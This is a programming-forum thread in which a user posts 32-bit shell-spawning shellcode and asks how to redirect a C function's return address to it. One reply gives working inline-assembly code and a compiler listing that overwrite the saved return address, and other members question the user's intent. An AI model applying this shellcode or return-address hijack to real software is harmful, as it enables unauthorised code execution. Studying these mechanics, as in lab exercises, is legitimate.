change the return address to point to shellcode

Programming, for all ages and all languages.
hadi
Posts: 10
Joined: Thu Oct 09, 2014 9:45 am

change the return address to point to shellcode

Post by hadi »

Im using linux and I have c program, I would like to change the return
address to point to my shellcode, im unable to do it.
Can someone point to me how to do it with linux gdb debugger.

Here is my shellcode

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc
2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

Here is my c program

int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
User avatar
Brynet-Inc
Member
Member
Posts: 2426
Joined: Tue Oct 17, 2006 9:29 pm
Libera.chat IRC: brynet
Location: Canada
Contact:

Re: change the return address to point to shellcode

Post by Brynet-Inc »

This has nothing to do with operating system development, besides possessing an understanding of x86 instruction opcode encodings.
Image
Twitter: @canadianbryan. Award by smcerm, I stole it. Original was larger.
hadi
Posts: 10
Joined: Thu Oct 09, 2014 9:45 am

Re: change the return address to point to shellcode

Post by hadi »

thank you Brynet-Inc for your reply.
i understand that it has nothing to do with O/S.
but what i want to change the return address of the function to my shellcode.
can you please give me example how to do it.? with my source code.
User avatar
iansjack
Member
Member
Posts: 4685
Joined: Sat Mar 31, 2012 3:07 am
Location: Chichester, UK

Re: change the return address to point to shellcode

Post by iansjack »

Perhaps you could explain why you want to do this. What are you trying to achieve?
User avatar
iocoder
Member
Member
Posts: 208
Joined: Sun Oct 18, 2009 5:47 pm
Libera.chat IRC: iocoder
Location: Alexandria, Egypt | Ottawa, Canada
Contact:

Re: change the return address to point to shellcode

Post by iocoder »

If I get you correctly, you can change the return address of bang by modifying the pushed IP in the stack... in gcc (x86_64) it would be something like this:

Code: Select all

__asm__("movq $my_shell_code, 8(%rbp)");
hadi
Posts: 10
Joined: Thu Oct 09, 2014 9:45 am

Re: change the return address to point to shellcode

Post by hadi »

thank you iocoder for your reply.

but im using 32 bit O/S.

can you explain more in details. im new to this.

first of all how to get bang return address?
second shell i write assemble code to change bang return address to point to my shellcode ?
hadi
Posts: 10
Joined: Thu Oct 09, 2014 9:45 am

Re: change the return address to point to shellcode

Post by hadi »

iansjack, im trying to exploit my c code by learning how to change the return address with out supplying buffer.

can you help here..

thank you.
User avatar
Combuster
Member
Member
Posts: 9301
Joined: Wed Oct 18, 2006 3:45 am
Libera.chat IRC: [com]buster
Location: On the balcony, where I can actually keep 1½m distance
Contact:

Re: change the return address to point to shellcode

Post by Combuster »

1) learn to single step through assembly
2) learn to predict what instructions do
3) read the intel manual on "RET"
4) make that instruction do something else.
"Certainly avoid yourself. He is a newbie and might not realize it. You'll hate his code deeply a few years down the road." - Sortie
[ My OS ] [ VDisk/SFS ]
hadi
Posts: 10
Joined: Thu Oct 09, 2014 9:45 am

Re: change the return address to point to shellcode

Post by hadi »

Combuster,

i understand what you saying about learning Assembly.

but what i need now little input about changing my return address to shellcode.

can you help here please....
User avatar
iansjack
Member
Member
Posts: 4685
Joined: Sat Mar 31, 2012 3:07 am
Location: Chichester, UK

Re: change the return address to point to shellcode

Post by iansjack »

hadi wrote:iansjack, im trying to exploit my c code by learning how to change the return address with out supplying buffer.

can you help here..

thank you.
That tells me nothing that you haven't already said. Why do you want to manipulate return addresses in this way? I can think of nefarious reasons and I wouldn't want to help a proto-hacker.
Last edited by iansjack on Thu Oct 09, 2014 11:27 am, edited 2 times in total.
User avatar
iocoder
Member
Member
Posts: 208
Joined: Sun Oct 18, 2009 5:47 pm
Libera.chat IRC: iocoder
Location: Alexandria, Egypt | Ottawa, Canada
Contact:

Re: change the return address to point to shellcode

Post by iocoder »

hadi wrote:thank you iocoder for your reply.

but im using 32 bit O/S.

can you explain more in details. im new to this.

first of all how to get bang return address?
second shell i write assemble code to change bang return address to point to my shellcode ?
I don't know about stuff like exploitation and security, but lemme help you with what I know.

Given this simple C program like this:

Code: Select all

#include <stdio.h>
#include <stdlib.h>

int global_value = 0;

void shellcode() {
    __asm__(".byte 0x90,0x90,0x90,0x90"); /* you may put your shellcode here */
    printf("hey guyz!\n");
    exit(0);
}

void bang(int val) {
    if (global_value == 5) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        //validate(2);
    } else
        printf("Misfire: global_value = 0x%x\n", global_value);
    //exit(0);
    __asm__("movl $shellcode, 4(%ebp)");
}

int main() {
    bang(0);
}
When translated into assembly using gcc (32-bit):

Code: Select all

	.file	"main.c"
	.globl	global_value
	.bss
	.align 4
	.type	global_value, @object
	.size	global_value, 4
global_value:
	.zero	4
	.section	.rodata
.LC0:
	.string	"hey guyz!"
	.text
	.globl	shellcode
	.type	shellcode, @function
shellcode:
.LFB2:
	.cfi_startproc
	pushl	%ebp
	.cfi_def_cfa_offset 8
	.cfi_offset 5, -8
	movl	%esp, %ebp
	.cfi_def_cfa_register 5
	subl	$8, %esp
#APP
# 7 "main.c" 1
	.byte 0x90,0x90,0x90,0x90
# 0 "" 2
#NO_APP
	subl	$12, %esp
	pushl	$.LC0
	call	puts
	addl	$16, %esp
	subl	$12, %esp
	pushl	$0
	call	exit
	.cfi_endproc
.LFE2:
	.size	shellcode, .-shellcode
	.section	.rodata
	.align 4
.LC1:
	.string	"Bang!: You set global_value to 0x%x\n"
.LC2:
	.string	"Misfire: global_value = 0x%x\n"
	.text
	.globl	bang
	.type	bang, @function
bang:
.LFB3:
	.cfi_startproc
	pushl	%ebp
	.cfi_def_cfa_offset 8
	.cfi_offset 5, -8
	movl	%esp, %ebp
	.cfi_def_cfa_register 5
	subl	$8, %esp
	movl	global_value, %eax
	cmpl	$5, %eax
	jne	.L3
	movl	global_value, %eax
	subl	$8, %esp
	pushl	%eax
	pushl	$.LC1
	call	printf
	addl	$16, %esp
	jmp	.L4
.L3:
	movl	global_value, %eax
	subl	$8, %esp
	pushl	%eax
	pushl	$.LC2
	call	printf
	addl	$16, %esp
.L4:
#APP
# 19 "main.c" 1
	movl $shellcode, 4(%ebp)
# 0 "" 2
#NO_APP
	leave
	.cfi_restore 5
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE3:
	.size	bang, .-bang
	.globl	main
	.type	main, @function
main:
.LFB4:
	.cfi_startproc
	leal	4(%esp), %ecx
	.cfi_def_cfa 1, 0
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	.cfi_escape 0x10,0x5,0x2,0x75,0
	movl	%esp, %ebp
	pushl	%ecx
	.cfi_escape 0xf,0x3,0x75,0x7c,0x6
	subl	$4, %esp
	subl	$12, %esp
	pushl	$0
	call	bang
	addl	$16, %esp
	movl	-4(%ebp), %ecx
	.cfi_def_cfa 1, 0
	leave
	.cfi_restore 5
	leal	-4(%ecx), %esp
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE4:
	.size	main, .-main
	.ident	"GCC: (GNU) 4.9.1"
	.section	.note.GNU-stack,"",@progbits
You can see that the main function calls bang(0) by pusing a 0 ("push $0" line) then callingbang ("call bang") line.
The call instruction in x86 in protected mode pushes the EIP into stack (EIP here contains the return address, which points to the instruction directly after the call) then jumps to the destination code. Now at this point the stack has the return address of bang at its top (pointed to by ESP). bang() starts execution.

At first, bang() pushes EBP (the "pushl %ebp" in bang). This simply means that ESP decreases by four. So at this point, the return address becomes at ESP+4. Then comes the "movl %esp, %ebp" so the current value of ESP can be stored into EBP until the function leaves. Based on this information, we can use EBP+4 to get and modify the return address of bang().

The __asm__("movl $shellcode, 4(%ebp)"); in your C code does the trick. now when bang() returns (notice that I disabled exit(0)), it will actually return to the beginning shellcode(), not the "addl.." instruction in main().
User avatar
iansjack
Member
Member
Posts: 4685
Joined: Sat Mar 31, 2012 3:07 am
Location: Chichester, UK

Re: change the return address to point to shellcode

Post by iansjack »

Why go through all that if the code is actually included in the program? Just place it after the function call.

I'm reading it that the OP wants to hook some external code into a program. Now why would you want to do that? ;) Actually, modern OSs make this difficult to do - for obvious reasons.
User avatar
SpyderTL
Member
Member
Posts: 1074
Joined: Sun Sep 19, 2010 10:05 pm

Re: change the return address to point to shellcode

Post by SpyderTL »

The IP register holds the current instruction address. (or EIP if you are in 32-bit mode)

When a function is called using the CALL instruction, the CPU pushes the current value of IP (which just happens to point to the "next" instruction after the CALL instruction) to the stack.

Then when the function is complete, it ends with a RET instruction, and the CPU pulls the "saved" value of IP from the stack and overwrites the IP register with the "saved" value, which causes the CPU to start executing code from the original location.

You can "trick" the CPU into "returning" to a different location by replacing the stored 32-bit address on the top of the stack with a new 32-bit address, and then calling RET.

However, if you are in 32-bit protected mode, the CPU will check and make sure that you have permission to execute code at the new address, and will throw a General Protection Fault if you do not.

Hopefully, this makes sense. If not, feel free to ask any specific questions you may have.
Project: OZone
Source: GitHub
Current Task: LIB/OBJ file support
"The more they overthink the plumbing, the easier it is to stop up the drain." - Montgomery Scott
User avatar
iocoder
Member
Member
Posts: 208
Joined: Sun Oct 18, 2009 5:47 pm
Libera.chat IRC: iocoder
Location: Alexandria, Egypt | Ottawa, Canada
Contact:

Re: change the return address to point to shellcode

Post by iocoder »

iansjack wrote:Why go through all that if the code is actually included in the program? Just place it after the function call.

I'm reading it that the OP wants to hook some external code into a program. Now why would you want to do that? ;) Actually, modern OSs make this difficult to do - for obvious reasons.
Yeah exactly. The text section in GNU/Linux is usually read-only, and I don't think that other data sections and the stack are executable. But maybe it is easy to do in some older versions of some poor operating system still used by many people.... :D
hadi
Posts: 10
Joined: Thu Oct 09, 2014 9:45 am

Re: change the return address to point to shellcode

Post by hadi »

iocoder,

thank you for your help and support.

i can see eip pointing to shellcode (nope) with gdb.

my question here how i can compile shellcode separately with Assembly, and injected into my code with gdb linux debugger .
Locked